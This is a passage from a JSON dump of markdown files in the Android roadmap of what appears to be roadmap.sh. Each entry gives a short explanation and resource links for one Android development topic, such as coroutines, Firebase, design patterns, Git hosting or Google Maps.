    "path": "src/data/roadmaps/android/content/app-shortcuts@xV475jHTlLuHtpHZeXb7P.md",
    "content": "# App Shortcuts\n\nApp shortcuts in Android are designed to provide quick and convenient routes to specific actions or functions within your app from the device home screen. To use them, long-press an app's icon and a pop-up menu will appear with the available shortcuts. Depending on the app, you might be able to send a message, make a booking, navigate home, or perform some other specific task without having to first open the app and navigate to the desired function. These shortcuts can also be moved and placed individually on the home screen for even faster access.\n\nVisit the following resources to learn more:\n\n- [@official@App Shortcuts](https://developer.android.com/guide/topics/ui/shortcuts)"
  },
  {
    "path": "src/data/roadmaps/android/content/asynchronism@cFYZ2C7yNnY6NHKUNP2Z4.md",
    "content": "# Asynchronism\n\nAsynchronism in Android is a practice that defines operations, which can run independently from the main operation without following the program's linear flow. The Android system uses threads to handle asynchronous processes. These threads function independently, ensuring that complex or time-consuming operations do not interfere with the user interface or other essential parts of the application. Android provides various tools for carrying out asynchronous tasks, such as `Handler`, `ThreadPoolExecutor`, `IntentService`, `AsyncTask`, and `Loader` etc. These tools provide ways to execute tasks on different threads and communicate the results back to the main thread.\n\nVisit the following resources to learn more:\n\n- [@official@Asynchronous Tasks](https://developer.android.com/guide/background)\n- [@article@Asynchronous Task Execution](https://medium.com/@cpvasani48/asynchronous-task-execution-in-android-a-guide-with-example-44732744f3b8)"
  },
  {
    "path": "src/data/roadmaps/android/content/authentication@Xv0es_z64vh-QzivMeAT3.md",
    "content": "# Authentication\n\nFirebase Authentication in Android provides backend services, easy-to-use SDKs, and ready-made UI libraries to authenticate users to your app. It supports authentication using passwords, popular federated identity providers like Google, Facebook and Twitter, and more. Firebase also facilitates integration of functionality to sign in, sign up, and reset password. Moreover, it can be used to secure your database by implementing role-based access to data and to provide personalized experience according to the user's unique identity.\n\nFirebase Authentication offers two methods to authenticate. These are using an `email/password` login provided by Firebase Authentication or a `federated identity provider` like Google or Facebook. It also covers token-based authentication by creating custom tokens or verifying ID tokens. In addition to this, Firebase Authentication works with Firebase's client SDKs for practical use and works for long-running server processes for some of your users.\n\nFirebase Authentication provides a full suite of capabilities even beyond authentication to make your life easier, which includes Security Rules for Cloud Storage and Cloud Firestore, Firebase Dynamic Links, and Firebase Invites.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase Authentication](https://firebase.google.com/docs/auth)\n- [@official@Firebase Authentication: Android](https://firebase.google.com/docs/auth/android/start)"
  },
  {
    "path": "src/data/roadmaps/android/content/basics-of-kotlin@jl1FsQ5-WGKeFyaILNt_p.md",
    "content": "# Basics of Kotlin\n\nKotlin is a concise, multi-platform, and fun language developed by JetBrains. Learn how to use Kotlin for Android, server-side, and cross-platform development, and explore its features, news, and community. Kotlin is a statically-typed programming language that runs on the Java Virtual Machine (JVM) and can be used to develop all types of Android apps. It is Google's preferred language for Android app development.\n\nVisit the following resources to learn more:\n\n- [@official@Kotlin](https://kotlinlang.org/)\n- [@official@Kotlin Docs](https://kotlinlang.org/docs/getting-started.html)"
  },
  {
    "path": "src/data/roadmaps/android/content/basics-of-oop@j69erqfosSZMDlmKcnnn0.md",
    "content": "# Basics of OOP\n\nUnderstanding the `Basics of Object-Oriented Programming (OOP)` is crucial. OOP is a programming paradigm that uses \"Objects\" - entities that contain both data and functions that manipulate the data.\n\nKey concepts include `Classes`, which are blueprints from which objects are created; `Objects`, instances of a class; `Inheritance`, where one class acquires properties from another; `Polymorphism`, the ability of an object to take many forms; `Abstraction`, showing only necessary details and hiding implementation from the user; and `Encapsulation`, the concept of wrapping data and the methods that work on data within one unit.\n\nVisit the following resources to learn more:\n\n- [@official@Object-Oriented Programming - Wikipedia](https://en.wikipedia.org/wiki/Object-oriented_programming)\n- [@official@OOP in Kotlin](https://developer.android.com/codelabs/basic-android-kotlin-compose-classes-and-objects)"
  },
  {
    "path": "src/data/roadmaps/android/content/bitbucket@5LFZdUiFYYU_1sYsouyan.md",
    "content": "# BitBucket\n\nBitbucket is a web-based hosting service that is owned by Atlassian. Bitbucket uses either Mercurial or Git revision control systems, allowing users to manage and maintain their code. This platform is mainly used for code and code review. Bitbucket provides both commercial plans and free accounts. It offers free accounts with an unlimited number of private repositories (which can have up to five users in the case of free accounts) as of September 2010. It originally offered only Mercurial support. Bitbucket integrates with other Atlassian software like JIRA, HipChat, Confluence and Bamboo.\n\nVisit the following resources to learn more:\n\n- [@official@Bitbucket](https://bitbucket.org/)\n- [@article@Bitbucket for Developers](https://www.atlassian.com/software/bitbucket)"
  },
  {
    "path": "src/data/roadmaps/android/content/bottom-sheet@Z4Tbd5ClnqCXGPGG09F-G.md",
    "content": "# BottomSheet\n\n`Bottom sheets` are surfaces containing supplementary content that are anchored to the bottom of the screen.\n\nThere are several attributes that can be used to adjust the behavior of both standard and modal bottom sheets.\n\nBehavior attributes can be applied to standard bottom sheets in xml by setting them on a child View set to `app:layout_behavior` or programmatically.\n\nVisit the following resources to learn more:\n\n- [@official@Android developers: Bottom Sheets](https://developer.android.com/reference/com/google/android/material/bottomsheet/BottomSheetDialog)"
  },
  {
    "path": "src/data/roadmaps/android/content/broadcast-receiver@tFuAToid1Fkmu96BDtW7K.md",
    "content": "# Broadcast Receiver\n\n**Broadcast Receivers** in Android are components that respond to system-wide broadcast announcements. They can be registered to respond to a specific type of broadcasts or implement a user-defined broadcast. While you can initiate a broadcast from your app, they are generally used for receiving system notifications or communicating with other applications. However, keep in mind that they cannot display a user interface, but they can start activities if necessary, which do have a user interface. A `BroadcastReceiver` class must override the `onReceive()` method where each message is received as an `Intent` object parameter.\n\nVisit the following resources to learn more:\n\n- [@official@Broadcast Receiver](https://developer.android.com/reference/android/content/BroadcastReceiver)"
  },
  {
    "path": "src/data/roadmaps/android/content/builder-pattern@784fiIdKrQDlIm3VIiJQN.md",
    "content": "# Builder Pattern\n\nThe **Builder Pattern** in Android is used to construct complex objects step by step. It separates the construction of an object from its representation. The pattern involves a `Builder` class which is used to construct the `Product` class. The Builder class typically has a method for each part that may be used to construct a Product. It also has a method for returning the final product. The Builder pattern is useful in situations where you might have multiple ways to create an object or when an object requires a large number of parameters for its constructor.\n\nVisit the following resources to learn more:\n\n- [@official@Builder Pattern](https://developer.android.com/kotlin/style-guide#builder-pattern)\n- [@article@Android Builder Pattern](https://medium.com/kayvan-kaseb/builder-design-pattern-in-android-a38dccb75485)"
  },
  {
    "path": "src/data/roadmaps/android/content/buttons@WhfzFOUpm0DFEj7Oeq21R.md",
    "content": "# Buttons\n\nA `button` consists of text or an icon, or both, that communicates what action occurs when the user taps it.\n\nButtons are UI widgets that allow users to interact with an application by tapping on them. A button typically consists of text, an icon, or a combination of both, and communicates what action will occur when the user taps it.\n\nVisit the following resources to learn more:\n\n- [@official@Android Developers: Button](https://developer.android.com/develop/ui/views/components/button)\n- [@official@Create a Button - Android](https://developer.android.com/quick-guides/content/create-button)"
  },
  {
    "path": "src/data/roadmaps/android/content/chucker@7RKN1FNtRE_BE6QeAQrKb.md",
    "content": "# Chucker\n\n`Chucker` is an open-source debugging library created for Android applications. It has been designed to be easy to use and convenient for developers. This library intercepts and records all HTTP requests and responses inside your application, which helps to visualize and share this information in an understandable and easy-to-read format. Using Chucker's distinct features, you can inspect all the HTTP and HTTPS traffic going in and out of your app directly. In addition, it provides other nifty features such as a user-friendly interface to view the server's raw response. It's like having a built-in network inspector in your debugging tool, enabling you to solve network-related issues more efficiently.\n\nVisit the following resources to learn more:\n\n- [@opensource@ChuckerTeam/chucker - Chucker On GitHub](https://github.com/ChuckerTeam/chucker)\n- [@article@Network Traffic Inspection with Chucker](https://medium.com/tech-takeaways/simple-android-network-traffic-inspection-with-chucker-and-seismic-1e6162c51f64)"
  },
  {
    "path": "src/data/roadmaps/android/content/cloud-messaging@e3vHFaFFMV7kI9q6yf5e9.md",
    "content": "# Cloud Messaging\n\nFirebase Cloud Messaging (FCM) is a powerful, battery-efficient messaging service that enables you to send messages reliably and securely to your Android applications. It enables you to send two types of messages: \"notification messages\" and \"data messages\". Notification messages are primarily meant for user notifications and will only be delivered when the application is in the foreground. On the other hand, data messages can handle even when the app is in the background or killed and can be used to send custom key-value pairs. FCM also supports various additional features, such as topic messaging to send messages to multiple devices subscribed to a common topic, device group messaging for sending messages to groups of user devices, and upstream messaging for sending messages from the client application to the FCM server.\n\nVisit the following resources to learn more:\n\n- [@official@Documentation](https://firebase.google.com/docs/cloud-messaging/android/client)\n- [@video@Firebase Cloud Messaging](https://www.youtube.com/watch?v=sioEY4tWmLI&list=PLl-K7zZEsYLkuHRCtHTpi6JYHka8oHLft)"
  },
  {
    "path": "src/data/roadmaps/android/content/common-services@ZEdn2yy-IwHN3kOYr2ZbC.md",
    "content": "# Common Services\n\nCommon Services are functional units or components provided by the Android system for use by developers. These services include things such as Location Services (used to determine the device's geographical location), Notification Services (handles the display and management of user notifications), and Sensor Services (interacts with hardware sensors). Other common services are Network and Connectivity Services, Account Manager, and Data Storage Services among others. They simplify the development process by handling complex functionalities behind the scenes, allowing developers to focus on the application's specific needs.\n\nVisit the following resources to learn more:\n\n- [@official@Common Services](https://developer.android.com/guide/components/services)"
  },
  {
    "path": "src/data/roadmaps/android/content/constraint@3fFNMhQIuuh-NRzSXYpXO.md",
    "content": "# ConstraintLayout\n\nLets you create large, complex layouts with a flat view hierarchy—no nested view groups. It's similar to `RelativeLayout` in that all views are laid out according to relationships between sibling views and the parent layout, but it's more flexible than RelativeLayout and easier to use. Its available on xml and jetpack compose.\n\nVisit the following resources to learn more:\n\n- [@official@Android: ConstraintLayout in XML](https://developer.android.com/develop/ui/views/layout/constraint-layout)\n- [@official@Android: ConstraintLayout in Compose](https://developer.android.com/develop/ui/compose/layouts/constraintlayout)"
  },
  {
    "path": "src/data/roadmaps/android/content/content-provider@nkcdjrswv0WCzUs48BAt9.md",
    "content": "# Content Provider\n\nA **Content Provider** in Android is a key component that allows applications to securely share data with other applications. They act as a layer between databases and applications to enhance data security. Content providers manage access to a structured set of data by handling data transactions, implementing data security, and maintaining isolation between applications. They provide an abstracted interface which is used to access data, while the underlying storage method (Like SQLite database, web, or any other method) remains hidden. This mechanism aids in retrieving data from a non-relational source in a structured way. They're used primarily when data needs to be shared between multiple applications, not just within a single application.\n\nVisit the following resources to learn more:\n\n- [@official@Content Provider](https://developer.android.com/guide/topics/providers/content-providers)"
  },
  {
    "path": "src/data/roadmaps/android/content/coroutines@i_cKmTnGAYw8xpHwZHjAd.md",
    "content": "# Coroutines\n\n`Coroutines` refer to a concurrency design pattern that you can use on Android to simplify code that executes asynchronously. `Coroutines` provide a way to write asynchronous, non-blocking code in a natural, sequential manner. The fundamental building blocks of `coroutines` are `suspend` functions which are simply functions that can be paused and resumed at later times. They are the key to writing non-blocking asynchronous code and represent a single unit of asynchronous computation. This aspect of `coroutines` makes them useful for managing long-running tasks that might otherwise block the main thread and cause your application to become unresponsive.\n\nVisit the following resources to learn more:\n\n- [@official@Coroutines](https://kotlinlang.org/docs/coroutines-overview.html)"
  },
  {
    "path": "src/data/roadmaps/android/content/crashlytics@xB4evbD07n1VrHOIpowV4.md",
    "content": "# Crashlytics\n\n`Crashlytics` is a lightweight, real-time crash reporter that helps you track, prioritize, and fix stability issues that dismantle your app's quality. It delivers fast and precise information about crashes and helps you gain insights into your app's performance so you can pinpoint the exact line of code your app crashed on. Crashlytics offers a comprehensive suite of features like crash analysis, issue aggregation, and tracking user activities that led to a crash. This tool is now a part of Google's `Firebase` platform but can also be used independently.\n\nVisit the following resources to learn more:\n\n- [@official@Crashlytics Documentation](https://firebase.google.com/docs/crashlytics/get-started?platform=android)\n- [@video@Firebase: Crashlytics](https://www.youtube.com/watch?v=LhjTAkifr6g)"
  },
  {
    "path": "src/data/roadmaps/android/content/create-a-basic-hello-world-app@5m_7DvInF8C_4Ml1xVI6L.md",
    "content": "# Create a Hello World App\n\nThe \"Hello World\" app is a simple project that you can build when you're getting started with Android development. It's often the first program that beginners learn to build in a new system. It's usually considered the simplest form of program that displays a message to the user - \"Hello, World!\" In Android, this involves creating a new project from the Android Studio and setting up the main activity. The main activity file is primarily written in Java or Kotlin where you can code for the display message, while the layout design view can be created in the XML file.\n\nVisit the following resources to learn more:\n\n- [@official@Create Your First Android Application](https://developer.android.com/codelabs/basic-android-kotlin-compose-first-app)"
  },
  {
    "path": "src/data/roadmaps/android/content/dagger@CK7Ce632fdTgxeFsRUVvd.md",
    "content": "# Dagger\n\nDagger is a fully static, compile-time dependency injection framework for both Java and Android. It is an adaptation of an earlier version created by Square that's focused on simplicity and speed. Dagger's primary focus is on compile-time analysis of dependencies, code simplicity, and clarity. It uses annotations to define dependencies, thus aiding in easy readability and understanding of the code. Dagger also eliminates the use of reflection to inject dependencies, thus boosting performance. It offers custom scopes to control the lifespan of instances and ensures that dependencies are Singleton across the entire lifespan of certain scopes.\n\nVisit the following resources to learn more:\n\n- [@official@Dagger](https://dagger.dev/)"
  },
  {
    "path": "src/data/roadmaps/android/content/data-structures-and-algorithms@cNeT1dJDfgn0ndPzSxhSL.md",
    "content": "# DataStructures and Algorithms\n\n**Data Structures** are primarily used to collect, organize and perform operations on the stored data more effectively. They are essential for designing advanced-level Android applications. Examples include Array, Linked List, Stack, Queue, Hash Map, and Tree.\n\n**Algorithms** are a sequence of instructions or rules for performing a particular task. In Android, algorithms can be used for data searching, sorting, or performing complex business logic. Some commonly used algorithms are Binary Search, Bubble Sort, Selection Sort, etc. A deep understanding of data structures and algorithms is crucial in optimizing the performance and the memory consumption of the Android applications.\n\nVisit the following resources to learn more:\n\n- [@article@Data Structures and Algorithms in Android](https://medium.com/@pranamsharma.1997/importance-of-data-structure-and-algorithms-in-android-app-development-75eed9f73909)"
  },
  {
    "path": "src/data/roadmaps/android/content/datastore@GWq3s1iTxQOp1BstHscJ9.md",
    "content": "# DataStore\n\n`DataStore` is a new and improved data storage solution by Android, meant to supersede `SharedPreferences`. It is important to understand that it comes in two different implementations: `Preferences DataStore` and `Proto DataStore`. `Preferences DataStore` uses key-value pairs similar to `SharedPreferences`, but it's more robust and handles runtime exceptions more efficiently. On the other hand, `Proto DataStore` uses custom data types to provide type safety. It lets you leverage the power of Protocol Buffers, a language-neutral, platform-neutral mechanism for serializing structured data, as the data storage format. Operating on data in `DataStore` is transactional, meaning that if an error occurs during an operation, all changes are rolled back, so the data remains in a consistent state.\n\nVisit the following resources to learn more:\n\n- [@official@Documentation](https://developer.android.com/topic/libraries/architecture/datastore)\n- [@video@Introduction to DataStore](https://www.youtube.com/watch?v=9ws-cJzlJkU&list=PLWz5rJ2EKKc8to3Ere-ePuco69yBUmQ9C)"
  },
  {
    "path": "src/data/roadmaps/android/content/debugging@6KbSUAoT_jTudFoIbwMpA.md",
    "content": "# Debugging\n\nDebugging is a critical step in the app development process. In Android development, it includes identifying and fixing errors, or bugs, in your code. You can debug Android apps using several tools and techniques. For example, Android Studio, the primary integrated development environment (IDE) for Android, comes with a built-in debugging tool, the Android Debug Bridge (ADB). This command-line tool allows you to communicate your device and perform various actions like installing and debugging apps. Android Studio also supports step-by-step debugging, where you can set breakpoints in your code and inspect the application state at those points.\n\nVisit the following resources to learn more:\n\n- [@official@Debugging](https://developer.android.com/studio/debug)"
  },
  {
    "path": "src/data/roadmaps/android/content/dependency-injection@qtXM9K7wyjOFuEMlZrB3C.md",
    "content": "# Dependency Injection\n\n`Dependency Injection` is a technique where an object does not need to create its own dependencies; instead, dependencies are provided (or injected) at runtime. This technique is highly beneficial in Android Development. It helps in creating loosely coupled and easily testable code. For example, the `Retrofit` instance that your application requires to make network calls can be created somewhere else and can be injected whenever required using libraries like `Dagger`, `Koin` or `Hilt`. The `ViewModel` instances can also be injected rather than being created in the required classes directly. Through dependency injection, plugins ensure the code becomes easier to change, understand, and maintain, hence, improving the quality of the code.\n\nVisit the following resources to learn more:\n\n- [@official@Dependency Injection](https://developer.android.com/training/dependency-injection)"
  },
  {
    "path": "src/data/roadmaps/android/content/design--architecture@jePGzTejFe4ryA5qFFmjl.md",
    "content": "# Architecture and Design Patterns\n\n**Design Architecture** refers to structuring the code in a way that increases its readability, maintainability, and testability. There are several ways to design architecture like Model-View-Controller (MVC), Model-View-Intent (MVI). Each of these define the interaction between the data, the logic, and the UI layers. Google’s recommended architectural pattern is Android Architecture Components which follow the principles of the MVVM pattern. Bear in mind that an architecture is not a rigid structure that fits all solutions. Rather, it serves as a guideline and can be tweaked as necessary.\n\nVisit the following resources to learn more:\n\n- [@official@Android Architecture Components](https://developer.android.com/topic/libraries/architecture)\n- [@article@Model-View-Controller (MVC)](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)\n- [@article@Model-View-Presenter (MVP)](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter)\n- [@article@Model-View-ViewModel (MVVM)](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel)\n- [@article@Model-View-Intent (MVI)](https://www.raywenderlich.com/817602-mvi-architecture-for-android-tutorial-getting-started)"
  },
  {
    "path": "src/data/roadmaps/android/content/detekt@RUvuCp_JK5MQQT13SSHUV.md",
    "content": "# Detekt\n\n`Detekt` is a static code analysis tool for the Kotlin programming language. It operates on the abstract syntax tree provided by the Kotlin compiler and can run in the command line or as a task in your Gradle build script. Detekt provides complexity reports that can be used to identify overly complex code and help simplify it. It also checks for a variety of potential bugs and code smells, including issues with formatting, naming conventions, exception handling, and more. Moreover, Detekt is highly configurable, allowing you to enable, disable, or modify the behavior of its checks to suit your project's needs.\n\nVisit the following resources to learn more:\n\n- [@official@Detekt](https://detekt.dev/)\n- [@opensource@Detekt: Static Code Analysis for Kotlin](https://github.com/detekt/detekt)"
  },
  {
    "path": "src/data/roadmaps/android/content/development-ide@ZRGsokU313Ky-anWbWK6q.md",
    "content": "# Development IDE\n\nDevelopment IDE refers to the Development Integrated Development Environment that is vital for Android App development. For Android, the primary IDE is **Android Studio**. This official IDE from Google includes everything you need to build an Android app, such as a code editor, code analysis tools, emulators for all of Android's supported OS versions and hardware configurations, and more. Other popular IDEs include **Eclipse** (with an Android Developer Tools plugin), **NetBeans**, and **IntelliJ IDEA**. Each of these IDEs tends to have its own set of specialized features, but all are designed to provide the tools and services needed for Android development. The choice of an IDE often depends on the specific needs and preferences of the developer or development team.\n\nVisit the following resources to learn more:\n\n- [@official@Android Studio](https://developer.android.com/studio)\n- [@official@Android Studio Documentation](https://developer.android.com/studio/intro)\n- [@video@Android Studio Tutorial (2024 Edition) - Part 1](https://www.youtube.com/watch?v=saKrGCWlJDs)"
  },
  {
    "path": "src/data/roadmaps/android/content/dialogs@Mtx0bY0drmaTw8sCM5YTl.md",
    "content": "# Dialogs\n\nVisit the following resources to learn more:\n\n- [@official@Android Developers: Dialogs](https://developer.android.com/guide/fragments/dialogs)"
  },
  {
    "path": "src/data/roadmaps/android/content/distribution@kc6buUsLAeZeUb4Tk0apM.md",
    "content": "# Distribution\n\nDistribution in Android refers to the methods and channels you can use to get your Android application into the hands of users. You can choose to distribute your app on the Google Play Store, which is the official app store for the Android operating system. This platform makes your app available to users in various countries around the world. Additionally, you can also opt to distribute your app through other third-party app stores or even your own website. Furthermore, Google provides a range of distribution options such as country targeting, device targeting, and staged roll-outs, which can be customized according to your distribution strategy. Remember, when you submit your application for distribution, you must adhere to the respective app store's policy and content guidelines.\n\nVisit the following resources to learn more:\n\n- [@official@Google Play Developer Distribution](https://developer.android.com/distribute)"
  },
  {
    "path": "src/data/roadmaps/android/content/drawer@amTxz7mS98lkhOrNMJXG_.md",
    "content": "# Drawer\n\nThe **Navigation Drawer** in Android is a sliding menu from the left that simplifies navigation between important app links. It opens by sliding or via an icon in the `ActionBar`. It’s an overlay panel that replaces a screen dedicated to displaying options.\n\nVisit the following resources to learn more:\n\n- [@official@Android developers: DrawerLayout](https://developer.android.com/reference/androidx/drawerlayout/widget/DrawerLayout)\n- [@article@Navigate Drawer Tutorial](https://www.digitalocean.com/community/tutorials/android-navigation-drawer-example-tutorial)"
  },
  {
    "path": "src/data/roadmaps/android/content/edittext@boMz0HZlMAsLdCZlpUo-H.md",
    "content": "# EditText\n\n`EditText` is a fundamental UI element in Android Studio, used for allowing users to input and edit text within an application. It is a subclass of `TextView` that provides additional features to handle user input.\n\nVisit the following resources to learn more:\n\n- [@official@Android developers: EditText](https://developer.android.com/reference/android/widget/EditText)"
  },
  {
    "path": "src/data/roadmaps/android/content/espresso@-ONSC-ImGSELbamKmjIlH.md",
    "content": "# Espresso\n\nEspresso is a testing framework provided by Android to create UI tests for Android applications. It automatically synchronizes your test actions with the UI of your application, ensuring that your test will only proceed when the necessary UI activities have been completed. In Espresso, you can programmatically simulate user interactions like clicking buttons, typing text, or swiping screens, and then examine the UI's state to confirm it's as expected. Espresso tests can run on devices running Android 4.3 (API level 18) or higher.\n\nVisit the following resources to learn more:\n\n- [@official@Espresso](https://developer.android.com/training/testing/espresso)"
  },
  {
    "path": "src/data/roadmaps/android/content/explicit-intents@TmIeCF3xVCe5Sy3ITmM31.md",
    "content": "# Explicit Intents\n\n**Explicit Intents** are primarily used within an application's own boundaries. In explicit intents you specify the component that needs to be responded to the intent. Therefore, the target component must be specified by calling methods such as `setComponent(ComponentName)`, `setClass(Context, Class)`, or `setClassName(String, String)`. This means that explicit intents are typically used for launching activities, broadcasting messages, starting services within the app. Explicit intents are not resolved by the system but are passed to the component identified in the intent.\n\nVisit the following resources to learn more:\n\n- [@official@Explicit Intents](https://developer.android.com/guide/components/intents-filters#explicit)"
  },
  {
    "path": "src/data/roadmaps/android/content/factory-pattern@DeOxj6RzQBYfEWV-M1Ybm.md",
    "content": "# Factory Pattern\n\nThe **Factory Pattern** is part of the Creational Design Patterns. This pattern provides an interface for creating objects in a superclass, but allows subclasses to alter the type of objects that will be created. It introduces an abstraction layer between the client code and the concrete objects. Normally, this is achieved by using a factory method to create objects instead of using constructors. The instance of the class is usually created by a method, referred to as a `factory method`, which is either specified in an interface and implemented in implementing classes or implemented in a base class which may be optionally overridden by derived classes. The Factory Method is used when we want to provide users with a way to create an instance of a class from one of several possible classes that share a common super class.\n\nHere is a basic example of the Factory Pattern:\n\n    public abstract class Animal {\n        public abstract String makeSound();\n    }\n    \n    public class Dog extends Animal {\n        @override\n        public String makeSound() {\n            return \"Woof\";\n        }\n    }\n    \n    public class Cat extends Animal {\n        @override\n        public String makeSound() {\n            return \"Meow\";\n        }\n    }\n    \n    public class AnimalFactory {\n        public Animal createAnimal(String type) {\n            if (\"Dog\".equals(type)) {\n                return new Dog();\n            } else if (\"Cat\".equals(type)) {\n                return new Cat();\n            }\n            return null;\n        }\n    }\n\nVisit the following resources to learn more:\n\n- [@official@Android: Factory Pattern](https://developer.android.com/guide/components/intents-filters#factory)"
  },
  {
    "path": "src/data/roadmaps/android/content/file-system@A4kdaj6AFueUgPI7hwKi5.md",
    "content": "# File System\n\nThe Android operating system uses a specific File System structure to store and manage files. It’s primarily based on the Linux File system, with some specific Android features. The File System includes several key directories that are used for specific purposes. For instance, directories such as `/system` hold system apps and firmware, while `/data` contains user data, settings and installed applications, and `/sdcard` usually represents an internal or external SD card for additional storage. It's worth mentioning directories like `/proc`, `/dev`, and `/sys` which are virtual file systems and house important system files. As an Android developer, understanding these directories can help you interact with Android's file system more effectively. Note that access to some of these directories may be restricted depending on system permissions.\n\nVisit the following resources to learn more:\n\n- [@official@Android File System](https://developer.android.com/training/data-storage/)\n- [@article@Android File System](https://www.androidauthority.com/android-file-system-1010817/)"
  },
  {
    "path": "src/data/roadmaps/android/content/firebase-distribution@T7q_quNaIAuGi96OdnDT1.md",
    "content": "# Firebase Distribution\n\nFirebase Distribution is a development tool within the Google Firebase suite that allows you to share pre-release versions of your Android apps with your development team. It enables you to distribute your app binaries to multiple testers and teams to get feedback before the app's official launch. Firebase Distribution supports both Android and iOS applications and works in tandem with other features, like Firebase Crashlytics, to effectively manage the testing and debugging aspects of your application's lifecycle.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase Distribution](https://firebase.google.com/docs/app-distribution)"
  },
  {
    "path": "src/data/roadmaps/android/content/firestore@3EEfKAd-ppIQpdQSEhbA1.md",
    "content": "# FireStore\n\nFirestore, often referred to as Firebase Firestore or Cloud Firestore, is a flexible, scalable database for mobile, web, and server development from Firebase and Google Cloud. Firestore comes with features like expressive querying, real-time updates, and automatic multi-region data replication. It is designed to offer seamless integration with other Firebase and Google Cloud products. It provides a cloud-based NoSQL database, which means the data is stored as collections of documents. Each document, in turn, contains a set of key-value pairs. Firestore ensures durable networking, so data syncs across client apps in real-time, even when the device is offline, making it easier for you to work with distributed data that can be kept in sync across various clients.\n\nVisit the following resources to learn more:\n\n- [@official@Firestore](https://firebase.google.com/docs/firestore)"
  },
  {
    "path": "src/data/roadmaps/android/content/flow@W-WTIiQml8dLK6i_V69JK.md",
    "content": "# Flow\n\n`Flow` in Android development is part of the Kotlin Coroutines library. It is a type that can emit multiple values sequentially, making it perfect for working with any data streams or any streams of events that aren't instantaneous. Like Observables, `Flow` is also based on the observer pattern, meaning it can emit values and these emissions can be observed and reacted to. However, `Flow` comes with built-in back pressure handling and the ability to transform, filter, or combine these flows in a sequence. Along with Coroutines, `Flow` encourages a more predictable and simplified concurrency design without callback hell problem.\n\nVisit the following resources to learn more:\n\n- [@official@Flow](https://kotlinlang.org/docs/flow.html)\n- [@official@Flow: Coroutines](https://kotlinlang.org/docs/flow-coroutines.html)"
  },
  {
    "path": "src/data/roadmaps/android/content/fragments@2iDJrxjXOt7o2fPp2HfRl.md",
    "content": "# Fragments\n\nA `Fragment` represents a reusable portion of your app's UI. A fragment defines and manages its own layout, has its own lifecycle, and can handle its own input events. Fragments can't live on their own. They must be hosted by an activity or another fragment. The fragment’s view hierarchy becomes part of, or attaches to, the host’s view hierarchy.\n\nVisit the following resources to learn more:\n\n- [@official@Android Developers: Fragments](https://developer.android.com/guide/fragments)"
  },
  {
    "path": "src/data/roadmaps/android/content/frame@Dp2DOX10u2xJUjB8Okhzh.md",
    "content": "# Frame Layout\n\n**FrameLayout** is a simple ViewGroup subclass in Android that is designed to hold a single child view or a stack of overlapping child views. It positions each child in the top-left corner by default and allows them to overlap on top of each other, which makes it useful for situations where you need to layer views on top of one another.\n\nVisit the following resources to learn more:\n\n- [@official@Android developers: Frame Layout](https://developer.android.com/reference/android/widget/FrameLayout)"
  },
  {
    "path": "src/data/roadmaps/android/content/git@rqSZ2ATeHbOdIQE9Jlb0B.md",
    "content": "# Git\n\n`Git` is a highly efficient and flexible distributed version control system that was created by **Linus Torvalds**, the creator of Linux. It allows multiple developers to work on a project concurrently, providing tools for non-linear development and tracking changes in any set of files. Git has a local repository with a complete history and version-tracking capabilities, allowing offline operations, unlike SVN. It ensures data integrity and provides strong support for non-linear development with features such as branching and merging.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Git and GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@Git](https://git-scm.com/)\n- [@official@Git Documentation](https://git-scm.com/docs)"
  },
  {
    "path": "src/data/roadmaps/android/content/github@H-2eb8fLwz8IKYXbeSVKK.md",
    "content": "# GitHub\n\n**GitHub** is a cloud-based hosting service for managing software version control using Git. It provides a platform for enabling multiple developers to work together on the same project at the same time. With GitHub, codes can be stored publicly, allowing for collaboration with other developers or privately for individual projects. Key features of GitHub include code sharing, task management, and version control, among others. GitHub also offers functionalities such as bug tracking, feature requests, and task management for the project.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Git and GitHub Roadmap](https://roadmap.sh/git-github)\n- [@official@GitHub](https://github.com/)\n- [@official@GitHub Documentation](https://docs.github.com/)"
  },
  {
    "path": "src/data/roadmaps/android/content/gitlab@Q47BtQphp59NkkZoeNXmP.md",
    "content": "# GitLab\n\n`GitLab` is a web-based DevOps lifecycle tool which provides a Git-repository manager, along with continuous integration and deployment pipeline features, using an open-source license, developed by GitLab Inc. Users can manage and create their software projects and repositories, and collaborate on these projects with other members. `GitLab` also allows users to view analytics and open issues of their project. It stands next to other version control tools like `GitHub` and `Bitbucket`, but comes with its own set of additional features and nuances. For Android development, `GitLab` can be particularly useful owing to its continuous integration and deployment system which can automate large parts of the app testing and deployment.\n\nVisit the following resources to learn more:\n\n- [@official@GitLab](https://about.gitlab.com/)\n- [@official@GitLab Documentation](https://docs.gitlab.com/)"
  },
  {
    "path": "src/data/roadmaps/android/content/google-admob@D4ZXQOKJkyFYNZIy-MJ9Y.md",
    "content": "# Google AdMob\n\nGoogle AdMob is a mobile advertising platform designed for app developers to monetize their apps by displaying ads from over 1 million Google advertisers. AdMob supports a wide range of ad formats, such as banner ads, interstitial ads, video ads, and more. It offers a powerful mediator that enables you to display ads from multiple sources, which includes the Google Mobile Ads SDK, third-party ad networks, and house ad campaigns. Furthermore, AdMob provides analytical tools to better understand your users and maximize ad revenue.\n\nVisit the following resources to learn more:\n\n- [@official@Google AdMob](https://admob.google.com/home/)\n- [@official@Google AdMob Documentation](https://admob.google.com/home/get-started/)"
  },
  {
    "path": "src/data/roadmaps/android/content/google-maps@S5FVF9rMgVSSDKXJW2GYb.md",
    "content": "# Google Maps\n\nGoogle Maps is a crucial service on Android, offering powerful, user-friendly mapping technology and local business information. Google Maps features include street maps, satellite imagery, 360° panoramic views of streets (Street View), real-time traffic conditions (Google Traffic), and route planning for traveling by foot, car, bicycle and air, or public transportation. The service's interface includes a function to overlay various layers such as traffic density, public transit lines, and cycling paths. Google Maps for Android also provides an API, which allows developers to interface with and control certain aspects of the Google Maps service in their applications. This capability subjects to certain usage limits and requirements set by Google.\n\nVisit the following resources to learn more:\n\n- [@official@Google Maps](https://developers.google.com/maps/documentation/android-sdk/overview)\n- [@official@Google Maps Documentation](https://developers.google.com/maps/documentation/android-sdk/intro)"
  },
  {
